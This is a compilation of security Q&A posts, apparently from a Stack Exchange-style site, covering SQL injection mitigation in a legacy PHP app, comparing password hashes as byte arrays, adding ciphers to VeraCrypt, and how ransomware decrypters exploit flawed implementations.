  First of all, this is LEGACY app, developed by some student-like folks, not enterprise grade. The dev team is nowhere to be found, now
  only 1-2 hybrid dev-test guy handling hundreds of Data Access class.
  The password is hash with SHA-256, yes it sucks. And we are changing it to recommended php way.
  SQL injection is 17 years old. Why is it still around?
  Are prepared statements 100% safe against SQL injection?

Don't spend lots of time on workarounds or half fixes. Every minute you spend trying to implement anything suggested here is a minute you could have spent implementing prepared statements. That is the only true solution.

If you have an SQLi vulnerability, the attacker will probably win in the end no matter what you do to try to slow her down. So be aware that while you may make improvements, in the end you are playing a losing game unless you fix the root cause of the issue.

As for what you have tried so far: Hiding error messages is a good start. I'd recommend you to apply even stricter permissions (see below). It is debatable whether changing table names help, but probably it won't hurt.

Ok, so what about those permissions? Limit what the database user can do as much as possible, down to table or even column level. You may even create multiple database users to lock things down even more. For instance, only use a database user with permission to write when you are actually writing. Only connect with a user that has the right to read the password column when you actually need to read the password column. That way, if you have an injection vulnerability in some other query it can not be leveraged to leak passwords.

Another option is to use a web application firewall (WAF), such as mod_security for Apache. You can configure it to block requests that look suspicious. However, no WAF is perfect. And it takes time and energy to configure it. You are probably  better off using that time to implement prepared statements.

Again, don't let any of this lure you into a false sense of security. There is no substitution to fixing the root cause of the problem.


Why should passwords be compared by means of a byte array? A best practice in a login process of a web application is to compare hashed passwords as byte arrays. What is the real reason for this best practice? Is it about integrity?

Cert Secure Coding talks about using byte arrays because they are easier to release.

There are a couple of issues at play here.  The first, which is referenced in both the Cert Secure Coding example  you linked to and the StackOverflow answer from Daniel Grover's comment doesn't have anything specifically to do with comparing the hash of a user-submitted password with a previously stored hash, but with the storage of the input password itself.  The issue they describe is one of  string immutability in platforms like Java and .NET, which means that if the clear-text password is ever stored as a string, it cannot be removed by the application, but only by the garbage collector, so a memory dump that occurs before that happens can lead to the exposure of a clear-text password.

This, however, is not really an issue when comparing password hashes.  The reasons for using byte arrays rather than strings have fewer security implications, but it is still a good idea.  First, because the input to, and output from a hash function is generally in the form of bytes.  If you put bytes in and get bytes out, converting back to a string to compare makes little sense.    Additionally, you eliminate an entire class of bugs (that could included security vulnerabilities) caused by incorrect string encoding.   For instance, two byte arrays representing two entirely different passwords might falsely report as identical if incorrectly converted to ASCII before comparison, because in many cases, bytes outside the basics 128 character ASCII range will be converted to the same (3F) ASCII character value, opening the potential for string collisions even when the original byte arrays did not.  If you leave the bytes alone, you eliminate this potential vulnerability entirely.

So, thinking of them and working with them as what they are, a hash output of bytes rather than strings leads to simpler, more correct code, and less error prone code.  For security, this is a good thing.


Veracrypt: Possible to add encryption-algorithms and/or hash-algorithms? Is it possible to add encryption algorithms or hashing algorithms to Veracrypt?

Like, for example: A Veracrypt-container encrypted with e.g threefish?

Or a similar question: to change the order of encryption algorithms to your own liking?

Like from: AES(Twofish(Serpent)) to:  Twofish(AES(Serpent))

It is not possible without modifying the source code of VeraCrypt. The algorithms and the cascade order requires explicit support in the program. Even if you could add new ciphers, you couldn't make them arbitrary. This is due to the fact that VeraCrypt, when given a password, will test it against every cipher combination it knows of to see which one is correct. The more combinations of ciphers, the longer this takes. It would be impossible to support arbitrary ciphers or cascades because it would require trying each and every possible combination of ciphers to unlock a volume.


How is possible that ransomware decrypters work? Today I found that there is a website that offers tools for ransomware decryption, but with my current knowledge about encryptions, it makes no sense for me, because a file encrypted with a strong key would take years to decrypt.

I'd expect they to use a command computer that generates and stores key on the fly for each target, or the criminals use only one key to encrypt all computers?

You are correct that properly implemented encryption cannot be decrypted without having the password.

Such decrypters as you see on that site don't actually try every possibility to get the password (known as "brute forcing") but they look for other vulnerabilities to decrypt the files of a specific ransomware.
Some of these ransomwares are poorly written and allow an expert to look at the code and find a way to decrypt without knowing the password. Some are so badly written the key to decryption can be found in the code itself.

The reason why some ransomware can be decrypted without the password is the same reason why not every encryption program out there is good: creating a program that encrypts securely is quite difficult, as some of these ransomware makers are now finding out.